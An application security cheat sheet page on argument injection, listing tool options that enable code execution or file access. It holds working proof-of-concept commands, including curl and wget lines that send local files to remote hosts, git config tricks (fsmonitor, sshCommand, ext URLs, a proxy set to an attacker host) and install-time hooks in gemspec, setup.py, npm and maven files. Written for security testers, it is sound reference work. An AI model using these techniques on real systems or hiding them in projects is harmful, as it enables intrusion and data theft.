💻
Application Security Cheat Sheet
  • Application Security Cheat Sheet
  • Android Application
    • Overview
      • Application Data & Files
      • Application Package
      • Application Sandbox
      • Application Signing
      • Deployment
      • Package Manager
    • Intent Vulnerabilities
      • Deep Linking Vulnerabilities
    • WebView Vulnerabilities
      • WebResourceResponse Vulnerabilities
      • WebSettings Vulnerabilities
  • CI/CD
    • Dependency
      • Dependency Confusion
      • Dependency Hijaking
      • Typosquatting
    • GitHub
      • GitHub Actions
      • Code owners
      • Dependabot
      • Redirect
      • Releases
  • Cloud
    • AWS
      • Amazon API Gateway
      • Amazon Cognito
      • Amazon S3
  • Container
    • Overview
      • Container Basics
      • Docker Engine
    • Escaping
      • CVE List
      • Exposed Docker Socket
      • Excessive Capabilities
      • Host Networking Driver
      • PID Namespace Sharing
      • Sensitive Mounts
    • Container Analysis Tools
  • Framework
    • Spring
      • Overview
      • Mass Assignment
      • Routing Abuse
      • SpEL Injection
      • Spring Boot Actuators
      • Spring Data Redis Insecure Deserialization
      • Spring View Manipulation
    • React
      • Overview
      • Security Issues
  • Linux
    • Overview
      • Philosophy
      • File
      • File Descriptor
      • I/O Redirection
      • Process
      • Inter Process Communication
      • Shell
      • Signals
      • Socket
      • User Space vs Kernel Space
    • Bash Tips
  • iOS Application
    • Overview
      • Application Data & Files
      • Application Package
      • Application Sandbox
      • Application Signing
      • Deployment
    • Getting Started
      • IPA Patching
      • Source Code Patching
      • Testing with Objection
  • Resources
    • Lists
      • Payloads
      • Wordlists
    • Researching
      • Web Application
      • Write-ups
    • Software
      • AWS Tools
      • Azure Tools
      • Component Analysis
      • Docker Analysis
      • Dynamic Analysis
      • Fuzzing
      • GCP Tools
      • Reverse Engineering
      • Static Analysis
      • Vulnerability Scanning
    • Training
      • Secure Development
  • Web Application
    • Abusing HTTP hop-by-hop Request Headers
    • Broken Authentication
      • Two-Factor Authentication Vulnerabilities
    • Command Injection
      • Argument Injection
    • Content Security Policy
    • Cookie Security
      • Cookie Bomb
      • Cookie Jar Overflow
      • Cookie Tossing
    • CORS Misconfiguration
    • File Upload Vulnerabilities
    • GraphQL Vulnerabilities
    • HTML Injection
      • base
      • iframe
      • link
      • meta
      • target attribute
    • HTTP Header Security
    • HTTP Request Smuggling
    • Improper Rate Limits
    • JavaScript Prototype Pollution
    • JSON Web Token Vulnerabilities
    • OAuth 2.0 Vulnerabilities
      • OpenID Connect Vulnerabilities
    • Race Condition
    • Server Side Request Forgery
      • Post Exploitation
    • SVG Abuse
    • Weak Random Generation
    • Web Cache Poisoning
Powered by GitBook
On this page
  • awk
  • system
  • bundler
  • bundler install
  • curl
  • find
  • exec
  • execdir
  • fprintf
  • gem
  • gem build
  • gem install
  • git
  • -c/--config-env
  • Abusing git directory
  • git-blame
  • git-clone
  • git-diff
  • git-fetch
  • git-fetch-pack
  • git-grep
  • git-log
  • git-ls-remote
  • git-pull
  • git-push
  • maven
  • npm scripts
  • npm cache add
  • npm ci
  • npm diff
  • npm install
  • npm pack
  • npm publish
  • npm rebuild
  • npm restart
  • npm start
  • npm stop
  • npm test
  • pip
  • pip install
  • ssh
  • authorized_keys and id_*.pub
  • ssh_config
  • ssh-keygen
  • -D
  • tar
  • Checkpoints
  • --to-command
  • -I/--use-compress-program
  • terraform
  • terraform-plan
  • wget
  • --use-askpass
  • --post-file
  • -O/--output-document
  • -o/--output-file
  • -i/--input-file
  • zip
  • -TT/--unzip-command
  1. Web Application
  2. Command Injection

Argument Injection

PreviousCommand InjectionNextContent Security Policy

Last updated 1 year ago

awk

system

awk supports the command that executes commands:

$ awk 'BEGIN {system("cmdname arg1 arg2")}' /dev/null
# executes the command as many rows in the file
$ awk 'system("cmdname arg1 arg2")' /path/to/file

If spaces can not be inserted, can be used to bypass it:

$ awk 'BEGIN{system(sprintf("cmdname%carg1",32))}'

References:

bundler

bundler install

uses gem under the hood, therefore, it is possible to reuse gem's features for giving a profit.

Gemfile

# Gemfile

# arbitrary code here
system('echo "hola!"')

When bundle install is run the arbitrary ruby code will be executed.

$ bundle install
hola!
hola!
The Gemfile specifies no dependencies
Resolving dependencies...
Bundle complete! 0 Gemfile dependencies, 1 gem now installed.

gem dependency

Since bundler uses gem install to install the specified dependencies in Gemfile you can use extensions to embed an arbitrary code.

# hola.gemspec file

Gem::Specification.new do |s|
  s.name        = 'hola'
  s.version     = '0.0.0'
  s.summary     = "Hola!"
  s.description = "A simple hello world gem"
  s.authors     = ["Nick Quaranto"]
  s.email       = 'nick@quaran.to'
  s.files       = []
  s.homepage    = 'https://rubygems.org/gems/hola'
  s.license     = 'MIT'
  s.extensions  = 'extconf.rb'
end
# extconf.rb

# arbitrary code here
system('echo "hola!"')
# build and push to rubygems.org
$ gem build hola.gemspec
$ gem push ./hola-0.0.0.gem
# Gemfile

source 'https://rubygems.org'

gem 'hola'

When bundle install is run the arbitrary ruby code will be executed.

$ gem install ./hola-0.0.0.gem
Building native extensions. This could take a while...
ERROR:  Error installing hola-0.0.0.gem:
        ERROR: Failed to build gem native extension.
...
hola!
...

References:

git dependency

One of the sources of gems for bundler is git repositories with a gem's source code. Since a git repository contains a source code bundler builds it before installing. Therefore, you can write an arbitrary code that will be executed when running bundle install.

Create a repository on github.com with the following hola.gemspec file:

# arbitrary code here
system('echo "hola!"')

Gem::Specification.new do |s|
  s.name        = 'hola'
  s.version     = '0.0.0'
  s.summary     = "Hola!"
  s.description = "A simple hello world gem"
  s.authors     = ["Nick Quaranto"]
  s.email       = 'nick@quaran.to'
  s.files       = []
  s.homepage    = 'https://rubygems.org/gems/hola'
  s.license     = 'MIT'
end

Add the repository to Gemfile as a git dependency.

# Gemfile
gem 'hola', :git => 'https://github.com/username/hola'

When bundle install is run the arbitrary ruby code will be executed.

$ bundle install
Fetching https://github.com/username/hola
hola!
Resolving dependencies...
Using bundler 2.2.21
Using hola 0.0.0 from https://github.com/username/hola (at main@4a4a4ee)
Bundle complete! 1 Gemfile dependency, 2 gems now installed.

References:

path dependency

You can specify that a gem is located in a particular location on the file system. Relative paths are resolved relative to the directory containing the Gemfile. Since a git repository contains a source code bundler builds it before installing. Therefore, you can write an arbitrary code that will be executed when running bundle install.

You can specify that a gem is located in a particular location on the file system. Relative paths are resolved relative to the directory containing the Gemfile.

Similar to the semantics of the :git option, the :path option requires that the directory in question either contains a .gemspec for the gem, or that you specify an explicit version that bundler should use.

Unlike :git, bundler does not compile native extensions for gems specified as paths

# Gemfile
# .gemspec file is located in vendor/hola 
gem 'hola', :path => "vendor/hola"
# Gemfile
# vendor/hola contains hola-0.0.0.gem file
gem 'hola', '0.0.0', :path => "vendor/hola"

When bundle install is run the arbitrary ruby code will be executed.

$ bundle install
hola!
Resolving dependencies...
Using hola 0.0.0 from source at `vendor/hola`
Using bundler 2.2.21
Bundle complete! 1 Gemfile dependency, 2 gems now installed.

References:

curl

# sending local files using a POST request
$ curl --data @/path/to/local/file https://website.com
$ curl -F 'var=@/path/to/local/file' https://website.com
$ curl --upload-file /path/to/local/file https://website.com
# writing a response to a local file
$ curl https://website.com/payload.txt -o /path/to/local/file

Additionally, the file: scheme can be used to read or copy local files:

# read a local file
$ curl file:///path/to/local/file
# copy a local file to a new place
$ curl file:///path/to/local/file -o /path/to/another/local/file

References:

find

exec

$ find . -name not_existing -or -exec cmdname arg1 arg2 \; -quit
$ find . -exec cmdname arg1 arg2 \; -quit
# read a file
$ find /path/to/file -exec cat {} \; -quit

References:

execdir

$ find . -name not_existing -or -execdir cmdname arg1 arg2 \; -quit
$ find . -execdir cmdname arg1 arg2 \; -quit
# read a file
$ find /path/to/file -execdir cat {} \; -quit

fprintf

$ find . -fprintf /path/to/file 'arbitrary content here' -quit

References:

gem

gem build

gemspec file is a ruby file that defines what is in the gem, who made it, and the version of the gem. Since it is a ruby file you can write arbitrary code that will be executed when running gem build.

# hola.gemspec file

# arbitrary code here
system('echo "hola!"')

Gem::Specification.new do |s|
  s.name        = 'hola'
  s.version     = '0.0.0'
  s.summary     = "Hola!"
  s.description = "A simple hello world gem"
  s.authors     = ["Nick Quaranto"]
  s.email       = 'nick@quaran.to'
  s.files       = []
  s.homepage    = 'https://rubygems.org/gems/hola'
  s.license     = 'MIT'
end

When gem build is run the arbitrary ruby code will be executed.

$ gem build hola.gemspec
hola!
  Successfully built RubyGem
  Name: hola
  Version: 0.0.0
  File: hola-0.0.0.gem

References:

gem install

Extensions

gemspec allows you to define extensions to build when installing a gem. Many gems use extensions to wrap libraries that are written in C with a ruby wrapper. gem uses the extconf.rb to build an extension during installation. Since it is a ruby file you can write arbitrary code that will be executed when running gem install.

# hola.gemspec file

Gem::Specification.new do |s|
  s.name        = 'hola'
  s.version     = '0.0.0'
  s.summary     = "Hola!"
  s.description = "A simple hello world gem"
  s.authors     = ["Nick Quaranto"]
  s.email       = 'nick@quaran.to'
  s.files       = []
  s.homepage    = 'https://rubygems.org/gems/hola'
  s.license     = 'MIT'
  s.extensions  = 'extconf.rb'
end
# extconf.rb

# arbitrary code here
system('echo "hola!"')
$ gem build hola.gemspec
  Successfully built RubyGem
  Name: hola
  Version: 0.0.0
  File: hola-0.0.0.gem

When gem install is run the arbitrary ruby code will be executed.

$ gem install ./hola-0.0.0.gem
Building native extensions. This could take a while...
ERROR:  Error installing hola-0.0.0.gem:
        ERROR: Failed to build gem native extension.
...
hola!
...

References:

git

-c/--config-env

Abusing git directory

A git directory maintains an internal state, or metadata, relating to a git repository. It is created on a user's machine when:

  • The user does git init to initialise an empty local repository

  • The user does git clone <repository> to clone an existing repository from a remote location

The structure of a git directory is documented at https://git-scm.com/docs/gitrepository-layout

Note that a git directory is often, but not always, a directory named .git at the root of a repo. There are several variables that can redefine a path:

References:

Abuse via .git/config

There are at least the following ways to set the options:

core.gitProxy

$ echo $'#!/bin/bash\necho \\"Pwned as $(id)\\">&2' > pwn.sh
$ chmod +x pwn.sh
$ git clone -c core.gitProxy="./pwn.sh" git://github.com/user/project.git
Cloning into 'project'...
"Pwned as uid=0(root) gid=0(root) groups=0(root)"
fatal: Could not read from remote repository.

Please make sure you have the correct access rights and the repository exists.

core.fsmonitor

In other words, many operations provided by the git will invoke the command given by core.fsmonitor to quickly limit the operation's scope to known-changed files in the interest of performance.

At least the following git operations invoke the command given by core.fsmonitor:

  • git status used to show information about the state of the working tree, including whether any files have uncommitted changes

  • git add <pathspec> used to stage changes for committing to the repo

  • git rm --cached <file> used to unstage changes

  • git commit used to commit staged changes

  • git checkout <pathspec> used to check out a file, commit, tag, branch, etc.

For operations that take a filename, core.fsmonitor will fire even if the filename provided does not exist.

$ cd $(mktemp -d)
# initialized empty Git repository in /tmp/tmp.hLncfRcxgC/.git/
$ git init
# change core.fsmonitor so that it echoes a message to STDERR whenever it is invoked
$ echo $'\tfsmonitor = "echo \\"Pwned as $(id)\\">&2; false"' >> .git/config
$ cat .git/config
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
	fsmonitor = "echo \"Pwned as $(id)\">&2; false"
# git-status
$ git status
Pwned as uid=0(root) gid=0(root) groups=0(root)
Pwned as uid=0(root) gid=0(root) groups=0(root)
On branch main

No commits yet

nothing to commit (create/copy files and use "git add" to track)

# git-add
$ touch aaaa
$ git add aaaa
Pwned as uid=0(root) gid=0(root) groups=0(root)
Pwned as uid=0(root) gid=0(root) groups=0(root)

$ git add zzzz
Pwned as uid=0(root) gid=0(root) groups=0(root)
Pwned as uid=0(root) gid=0(root) groups=0(root)
fatal: pathspec 'zzzz' did not match any files

# git-commit
$ git commit -m 'add aaaa'
Pwned as uid=0(root) gid=0(root) groups=0(root)
Pwned as uid=0(root) gid=0(root) groups=0(root)
[main (root-commit) 7c2f2c6] add aaaa
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 aaaa

References:

core.hooksPath

$ git clone "<REPO>" target_directory
$ cd target_directory
$ mkdir hooks
$ echo "#!/bin/sh" > hooks/post-checkout
$ echo "echo 'arbitrary code here'" >> hooks/post-checkout
$ # commit and push

To execute the payload, run the git-clone:

$ git clone -c core.hooksPath=hooks "<REPO>"

References:

core.pager

For example, in the following snippet git-grep has the --open-files-in-pager key that uses the default pager from core.pager if the value is unspecified in the arguments:

$ mkdir repo
$ cd repo
$ git init
$ echo "random" > hop
$ git add .
$ git -c core.pager='cmdname arg1 arg2 #' grep --open-files-in-pager .

If the pager value is not directly set by a user there is the order of preference:

  1. GIT_PAGER environment variable.

  2. core.pager configuration.

  3. PAGER environment variable.

  4. The default chosen at compile time (usually less).

So, the following snippet can also be used to execute commands:

$ mkdir repo
$ cd repo
$ git init
$ echo "random" > hop
$ git add .
$ GIT_PAGER='id #' git grep --open-files-in-pager .

core.sshCommand

$ echo $'#!/bin/bash\necho \\"Pwned as $(id)\\">&2' > pwn.sh
$ chmod +x pwn.sh
$ git clone -c core.sshCommand="./pwn.sh" git@github.com:user/project.git
# or
$ git clone -c core.sshCommand="./pwn.sh" ssh://github.com/user/project.git
Cloning into 'project'...
"Pwned as uid=0(root) gid=0(root) groups=0(root)"
fatal: Could not read from remote repository.

Please make sure you have the correct access rights and the repository exists.

diff.external

$ echo $'#!/bin/bash\necho \\"Pwned as $(id)\\">&2' > pwn.sh
$ chmod +x pwn.sh
$ git clone https://github.com/user/project.git
$ cd project
$ git -c diff.external="../pwn.sh" HEAD 480e4c9
"Pwned as uid=0(root) gid=0(root) groups=0(root)"

filter.<driver>.clean and filter.<driver>.smudge

$ cd $(mktemp -d)
# initialized empty Git repository in /tmp/tmp.hLncfRcxgC/.git/
$ git init
# filter.&lt;driver&gt;.clean and filter.&lt;driver&gt;.smudge
# so that they echo a message to STDERR whenever they are invoked
$ echo $'[filter "any"]\n\tsmudge = echo \\"Pwned smudge as $(id)\\">&2\n\tclean = echo \\"Pwned clean as $(id)\\">&2' >> ./.git/config
# add filter to .gitattributes
$ touch example
$ git add ./example
$ git commit -m 'commit'
$ echo "*  text  filter=any" > .gitattributes
$ git status
Pwned clean as uid=0(root) gid=0(root) groups=0(root)
On branch master
Untracked files:
  (use "git add <file>..." to include in what will be committed)
	.gitattributes

nothing added to commit but untracked files present (use "git add" to track)

$ git add .gitattributes
Pwned clean as uid=0(root) gid=0(root) groups=0(root)
$ cd $(mktemp -d)
# initialized empty Git repository in /tmp/tmp.hLncfRcxgC/.git/
$ git init
# filter.&lt;driver&gt;.clean and filter.&lt;driver&gt;.smudge
# so that they echo a message to STDERR whenever they are invoked
$ echo $'[filter "any"]\n\tsmudge = echo \\"Pwned smudge as $(id)\\">&2\n\tclean = echo \\"Pwned clean as $(id)\\">&2' >> ./.git/config
# add filter to .gitattributes
$ echo "*  text  filter=any" > .gitattributes
$ git fetch
$ git checkout main
Pwned smudge as uid=0(root) gid=0(root) groups=0(root)
Pwned smudge as uid=0(root) gid=0(root) groups=0(root)
Branch 'main' set up to track remote branch 'main' from 'origin'.
Switched to a new branch 'main'

References:

http.proxy and http.<URL>.proxy

http.proxy or http.<URL>.proxy override the HTTP proxy. You can use this to get SSRF:

$ git clone -c http.proxy=http://attacker-website.com -- "<REPO>" target_directory
$ git clone -c http.http://website.com/.proxy=http://attacker-website.com -- "<REPO>" target_directory

Pay attention to other http.* configs and remote.<name>.proxy, they can help to increase the impact.

References:

Abuse via .git/hooks/

  • pre-commit and post-commit are executed before and after a commit operation respectively

  • post-checkout is executed after checkout operation

  • pre-push is executed before a push operation

On filesystems that differentiate between executable and non-executable files, Hooks are only executed if the respective file is executable. Furthermore, hooks only execute given certain user interaction, such as upon performing a commit.

For instance, you can use bare repositories to deliver custom git hooks and execute arbitrary code:

# clone or create a repo
$ git clone "<REPO>" target_directory
$ cd target_directory
# add subproject as a bare repo
$ mkdir subproject
$ cd subproject
$ git init --bare
# add malicious hook
$ echo "#!/bin/sh" > hooks/post-checkout
$ echo "echo 'arbitrary code here'" >> hooks/post-checkout
# commit and push

If the vulnerable code executes the following bash commands against the prepared repository, it will trigger the custom hook execution and result in the arbitrary code being executed:

$ git clone -- "<REPO>" "target_directory"
$ cd "target_directory"
$ git checkout "subproject"

References:

Abuse via .git/index

Abuse via .git/HEAD

It is possible to trick Git into loading a configuration from an unintended location by corrupting .git/HEAD. In such cases, Git starts looking for repositories in the current folder, which an attacker can fully control, for example, if the current folder is a working tree with all the files of the cloned remote repository. The exploitation flow may look like this:

$ git clone https://github.com/remote/repo.git
$ cd repo
# Create empty folders to comply with the expected structure of a Git repository
$ mkdir objects refs worktree
# Create non-empty HEAD to fake a valid reference
$ echo "ref: refs/heads/main" > HEAD
# Prepare a malicious the config file using core.fsmonitor to execute the payload
$ echo "[core]" > config
$ echo "\trepositoryformatversion = 0" >> config
$ echo "\tbare = false" >> config
$ echo "\tworktree = worktree" >> config
$ echo $'\tfsmonitor = "echo \\"Pwned as $(id)\\">&2; false"' >> config
# Corrupt the HEAD file
$ echo "" > .git/HEAD
# Exploit
$ git status
Pwned as uid=501(0xn3va)
Pwned as uid=501(0xn3va)
On branch main

No commits yet

nothing to commit (create/copy files and use "git add" to track)

References:

git-blame

--output

git-blame has the --output option, which is not documented in the manual and is usually present on other git sub-commands. Executing git blame --output=foo results in interesting behaviour:

$ git init
$ git blame --output=foo
usage: git blame [<options>] [<rev-opts>] [<rev>] [--] <file>

    <rev-opts> are documented in git-rev-list(1)

    --incremental         show blame entries as we find them, incrementally
    -b                    do not show object names of boundary commits (Default: off)
# ...

# Notice the presence of a new file named foo
$ ls -la foo
-rw-r--r--    1 0xn3va  staff     0 Mar 18 20:18 foo

References:

git-clone

-c/--config

ext URLs

git-clone allows shell commands to be specified in ext URLs for remote repositories. For instance, the next example will execute the whoami command to try to connect to a remote repository:

$ git clone 'ext::sh -c whoami% >&2'

References:

<directory>

git-clone allows specifying a new directory to clone into. Cloning into an existing directory is only allowed if the directory is empty. You can use this to write a repo outside a default folder.

$ git clone -- "<REPO>" target_directory

-u/--upload-pack

$ mkdir repo
$ cd repo
$ git init
$ cd -
$ echo "#!/bin/bash" > payload.sh
$ echo "echo 'arbitrary payload here'" >> payload.sh
$ chmod +x payload.sh
$ git clone --upload-pack=payload.sh repo

References:

git-diff

git-diff against /dev/null

git-diff against /dev/null can be used to read the entire content of a file even outside the git directory.

$ git diff /dev/null /path/fo/file/outside/git/repo
$ git diff /dev/null path/to/file/in/git/repo

References:

--no-index

$ git diff --no-index local-secret-file.conf git.md

References:

git-fetch

--upload-pack

$ mkdir repo
$ cd repo
$ git init
$ git fetch main --upload-pack='cmdname arg1 arg2 >&2 #'

References:

git-fetch-pack

--exec

Same as --upload-pack. Check out the section below.

--upload-pack

$ mkdir repo
$ cd repo
$ git init
$ git fetch-pack --upload-pack='cmdname arg1 arg2 >&2 #' .

git-grep

--no-index

no-index tells the git-grep to search files in the current directory that is not managed by Git. In other words, if a working directory is different from a repository one no-index allows you to get access to files in the working directory.

References:

-O/--open-files-in-pager

$ mkdir repo
$ cd repo
$ git init
$ echo "random" > hop
$ git add .
$ git grep --open-files-in-pager='cmdname arg1 arg2 #' .

References:

git-log

--output

output defines a specific file to output instead of stdout. You can use this to rewrite arbitrary files.

$ git log --output=/tmp/arbitrary_file
$ cat /tmp/arbitrary_file
commit c79538fb19b1d9d21bf26e9ad30fdeb90be1eaf0
Author: User <user@local>
Date:   Fri Aug 29 00:00:00 2021 +0000

    Controlled content

References:

git-ls-remote

--upload-pack

$ mkdir repo
$ cd repo
$ git init
$ git ls-remote --upload-pack='cmdname arg1 arg2 >&2 #' main

References:

git-pull

--upload-pack

$ mkdir repo
$ cd repo
$ git init
$ git pull main --upload-pack='cmdname arg1 arg2 >&2 #'

References:

git-push

--receive-pack/--exec

$ echo "#!/bin/bash" > payload.sh
$ echo "echo 'arbitrary payload here'" >> payload.sh
$ chmod +x payload.sh
$ git push --receive-pack=payload.sh username/repo main
# or
$ git push --exec=payload.sh username/repo main
# or
$ git push --receive-pack=payload.sh main

maven

<plugin>
  <groupId>org.codehaus.gmaven</groupId>
  <artifactId>groovy-maven-plugin</artifactId>
  <executions>
    <execution>
      <phase><!-- PHASE_HERE --></phase>
      <goals>
        <goal>execute</goal>
      </goals>
      <configuration>
        <source>
          print "cmdname arg1 arg2".execute().text
        </source>
      </configuration>
    </execution>
  </executions>
</plugin>

For example, you can execute the plugin during mvn initialize or mvn compile using the following pom.xml file:

<?xml version="1.0" encoding="UTF-8"?>
<project>
  <modelVersion>4.0.0</modelVersion>
 
  <groupId>com.mycompany.app</groupId>
  <artifactId>my-app</artifactId>
  <version>1</version>
  
  <build>
    <plugins>
        <plugin>
          <groupId>org.codehaus.gmaven</groupId>
          <artifactId>groovy-maven-plugin</artifactId>
            <executions>
              <execution>
                <phase>initialize</phase>
                <goals>
                  <goal>execute</goal>
                </goals>
                <configuration>
                  <source>
                    print "cmdname arg1 arg2".execute().text
                  </source>
                </configuration>
              </execution>
          </executions>
        </plugin>
     </plugins>   
  </build>
</project>

References:

npm scripts

Scripts from dependencies can be run with npm explore <pkg> -- npm run <stage>

Pre and post commands with matching names will be run for those as well (e.g. premyscript, myscript, postmyscript). To create pre or post scripts for any scripts defined in the scripts section of the package.json, simply create another script with a matching name and add pre or post to the beginning of them.

In the following example npm run compress would execute these scripts as described.

{
  "scripts": {
    "precompress": "{{ executes BEFORE the `compress` script }}",
    "compress": "{{ run command to compress files }}",
    "postcompress": "{{ executes AFTER `compress` script }}"
  }
}

There are some special life cycle scripts that happen only in certain situations. These scripts happen in addition to the pre<event>, post<event>, and <event> scripts.

  • prepare (since npm@4.0.0)

    • Runs any time before the package is packed, i.e. during npm publish and npm pack

    • Runs BEFORE the package is packed

    • Runs BEFORE the package is published

    • Runs on local npm install without any arguments

    • Run AFTER prepublish, but BEFORE prepublishOnly

    • NOTE: If a package being installed through git contains a prepare script, its dependencies and devDependencies will be installed, and the prepare script will be run before the package is packaged and installed

    • As of npm@7 these scripts run in the background. To see the output, run with: --foreground-scripts

    • Does not run during npm publish, but does run during npm ci and npm install

  • prepublishOnly

    • Runs BEFORE the package is prepared and packed, ONLY on npm publish

  • prepack

    • Runs BEFORE a tarball is packed (on npm pack, npm publish, and when installing git dependencies)

    • NOTE: npm run pack is NOT the same as npm pack. npm run pack is an arbitrary user-defined script name, whereas, npm pack is a CLI-defined command

  • postpack

    • Runs AFTER the tarball has been generated but before it is moved to its final destination (if at all, publish does not save the tarball locally)

npm cache add

  • prepare

npm ci

  • preinstall

  • install

  • postinstall

  • prepublish

  • preprepare

  • prepare

  • postprepare

These all run after the actual installation of modules into node_modules, in order, with no internal actions happening in between.

npm diff

  • prepare

npm install

  • preinstall

  • install

  • postinstall

  • prepublish

  • preprepare

  • prepare

  • postprepare

npm pack

  • prepack

  • prepare

  • postpack

npm publish

  • prepublishOnly

  • prepack

  • prepare

  • postpack

  • publish

  • postpublish

prepare will not run during --dry-run

npm rebuild

  • preinstall

  • install

  • postinstall

  • prepare

prepare is only run if the current directory is a symlink (e.g. with linked packages)

npm restart

  • prerestart

  • restart

  • postrestart

npm start

  • prestart

  • start

  • poststart

If there is a server.js file in the root of your package, then npm will default the start command to node server.js. prestart and poststart will still run in this case.

npm stop

  • prestop

  • stop

  • poststop

npm test

  • pretest

  • test

  • posttest

pip

pip install

Extending the setuptools modules allows you to hook almost any pip command. For instance, you can use the install class within setup.py file to execute an arbitrary code during pip install running.

from setuptools import setup
from setuptools.command.install import install

class PostInstallCommand(install):
    def run(self):
        # Insert code here
        install.run(self)

setup(
    ...
    cmdclass={
        'install': PostInstallCommand,
    },
    ...
)

When pip install is run the PostInstallCommand.run method will be invoked.

References:

ssh

authorized_keys and id_*.pub

command="cmdname arg1 arg2" ssh-ed25519 AAAAC3Nzblah....

References:

ssh_config

ssh obtains configuration data from the following sources in the following order:

  1. Command line

  2. User's configuration file ~/.ssh/config

  3. System-wide configuration file /etc/ssh/ssh_config

LocalCommand

Host *
  PermitLocalCommand yes
  LocalCommand cmdname arg1 arg2

References:

ssh-keygen

-D

$ ssh-keygen -D lib.so

References:

tar

Checkpoints

$ tar cf archieve.tar --checkpoint=1 --checkpoint-action="exec=echo 'arbitrary payload here'" foo 

--to-command

# Requires valid archive file
$ tar xf file.tar --to-command='cmdname arg1 arg2'

References:

-I/--use-compress-program

# Does not requrie valid archive
$ tar xf /dev/null --use-compress-program='cmdname arg1 arg2'

References:

terraform

terraform-plan

terraform {
  required_providers {
    evil = {
      source  = "evil/evil"
      version = "1.0"
    }
  }
}

provider "evil" {}
$ terraform init
$ terraform plan

The provider will be pulled in during terraform init and when terraform plan is run the arbitrary ruby code will be executed.

data "external" "example" {
  program = ["python", "${path.module}/example-data-source.py"]

  query = {
    # arbitrary map from strings to strings, passed
    # to the external program as the data query.
    id = "abc123"
  }
}

References:

wget

--use-askpass

If no command is specified then the command in the environment variable WGET_ASKPASS is used. If WGET_ASKPASS is not set then the command in the environment variable SSH_ASKPASS is used. Additionally, the default command for use-askpass can be set up in the .wgetrc.

$ wget --use-askpass=cmdname http://0/

References:

--post-file

# sends a local file to a remote server 
# file is sent as-is
$ wget --post-file=/path/to/file https://website.com/

References:

-O/--output-document

$ wget --output-document=/path/to/file https://website.com/file.txt
# prints a file to standard output
$ wget --output-document="-" https://website.com/file.txt

References:

-o/--output-file

# reads a local file and writes the output to another local file
# displaying only non-binary files, output is an error log
$ wget --input-file=/path/to/file --output-file=/path/to/another/file

References:

-i/--input-file

# file content will be displayed as error messages
$ wget --input-file=/path/to/file http://0/

References:

zip

-TT/--unzip-command

$ zip archieve.zip /path/to/file -T --unzip-command="cmdname arg1 arg2 #"

References:

describes the gem dependencies required to execute associated Ruby code. Since it is a ruby file you can write arbitrary code that will be executed when running bundle install.

You can execute an arbitrary code using both file and

Therefore, you can gain code execution using the or .

can be used to exfiltrate local files or write arbitrary content to them.

The key can be used to execute arbitrary commands:

is similar to -exec, but the specified command is run from the subdirectory containing the matched items. -execdir can be used to execute arbitrary commands:

can be used to write to local files:

find provides various ways for writing to files, check out the for more details.

passes a configuration parameter to the command. The value given will override values from configuration files. Check out the section to find parameters that can be abused.

Remember that modern versions of Git support setting any config value via .

environment variable or command-line option specifies a path to use instead of the default .git for the base of the repository.

environment variable or file specifies a path from which non-worktree files will be taken, which are normally in $GIT_DIR.

Notice that the do not have a .git directory at all.

.git/config allows for the configuration of on a per-repo basis. Many of the options allow for the specification of commands that will be executed in various situations, but some of these situations only arise when a user interacts with a git repository in a particular way.

On a system-wide basis using file

On a global basis using or files

On a local per-repo basis using file

On a local per-repo basis using file. This is optional and is only searched when extensions.worktreeConfig is present in .git/config

On a local per-repo basis using option

On a local per-repo basis using option

gives a command that will be executed when establishing a connection to a remote using the git:// protocol

The option is used as a command which will identify all files that may have changed since the requested date/time.

sets different path to . You can create the post checkout hook within a repository, set the path to hooks with the hooksPath, and execute arbitrary code.

specifies a text viewer for use by Git commands (e.g., less). The value is meant to be interpreted by the shell and can be used to execute arbitrary commands.

gives a command that will be executed when establishing a connection to a remote using the SSH protocol. If this variable is set, git fetch and git push will use the specified command instead of ssh when they need to connect to a remote system.

gives a command that will be used instead of git's internal diff function.

is used to convert the content of a worktree file to a blob upon checkin.

is used to convert the content of a blob object to a worktree file upon checkout.

Various files within are . For example:

You can achieve an arbitrary write primitive using a crafted .git/index file, check an .

Although the command failed, an empty file named foo was created. If a file with the same name already exists, the destination file is truncated. This option provides an arbitrary file truncation primitive. For example, an attacker can use it to corrupt a critical file in the .git folder like .git/HEAD and trick Git into loading a configuration from an unintended location, check out the section.

sets a configuration variable in the newly-created repository; this takes effect immediately after the repository is initialized, but before the remote history is fetched or any files checked out. Check the section to find variables that can be abused.

specifies a non-default path for the command run on the other end when the repository to clone from is accessed via ssh. You can execute arbitrary code like this:

The key can be used to turn git-diff into a normal diff against another file in the git repository, which does not have to be tracked.

The flag can be used to execute arbitrary commands. The output is not shown, but it is possible to route the output to stderr using >&2.

The flag can be used to execute arbitrary commands. The output is not shown, but it is possible to route the output to stderr using >&2.

opens the matching files in the pager. It can be used to run arbitrary commands:

The flag can be used to execute arbitrary commands. The output is not shown, but it is possible to route the output to stderr using >&2.

The flag can be used to execute arbitrary commands. The output is not shown, but it is possible to route the output to stderr using >&2.

specifies a path to the program on the remote end. You can execute arbitrary code like this:

Execution of arbitrary commands or code during mvn <PHASE> execution is possible through the use of various plugins such as or . In order to execute a malicious payload using the groovy-maven-plugin plugin during the phase <PHASE> you can use the following configuration:

The property of the package.json file supports a number of built-in scripts and their preset life cycle events as well as arbitrary scripts. These all can be executed using .

prepublish ()

runs the following life cycle scripts:

runs the following life cycle scripts:

runs the following life cycle scripts:

runs the following life cycle scripts (also run when you run npm install -g <pkg-name>):

If there is a binding.gyp file in the root of a package and install or preinstall scripts were not defined, npm will default the install command to compile using via node-gyp rebuild.

runs the following life cycle scripts:

runs the following life cycle scripts:

runs the following life cycle scripts:

runs a restart script if it was defined, otherwise stop and start are both run if present, including their pre and post iterations):

runs the following life cycle scripts:

runs the following life cycle scripts:

runs the following life cycle scripts:

OpenSSH supports the option, which specifies the command to be executed whenever a key is used for authentication.

specifies a command to execute on the local machine after successfully connecting to the server. The following ssh_config can be used to execute arbitrary commands:

can load a shared library using the -D key that leads to arbitrary command execution:

A is a moment of time before writing nth record to the archive (a write checkpoint), or before reading nth record from the archive (a read checkpoint). allow periodically executing arbitrary actions.

When key is used, instead of creating the files specified, tar invokes command and pipes the contents of the files to its standard output. So it can be used to execute arbitrary commands.

is used to specify an external compression program command that can be abused to execute arbitrary commands:

Terraform relies on plugins called to interact with remote systems. Terraform configurations must declare which providers they require, so that Terraform can install and use them.

You can write a , publish it to the and add the provider to the Terraform code.

Additionally, Terraform offers the which provides a way to interface between Terraform and external programs. Therefore, you to use the external data source to run arbitrary code. The following example from executes a python script during terraform plan.

